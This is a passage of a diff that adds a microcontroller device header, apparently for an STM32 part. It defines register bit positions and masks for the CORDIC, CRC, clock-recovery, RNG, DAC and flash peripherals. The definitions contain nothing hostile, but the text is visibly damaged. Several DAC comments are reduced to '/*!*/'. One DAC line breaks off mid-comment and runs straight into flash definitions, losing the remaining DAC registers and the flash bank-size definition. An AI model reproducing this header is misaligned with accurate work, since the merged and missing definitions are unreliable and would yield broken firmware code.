*/ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F00D00U) +#define RNG_HTCR_NIST_VALUE (0xAAC7U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + +/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL << FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define 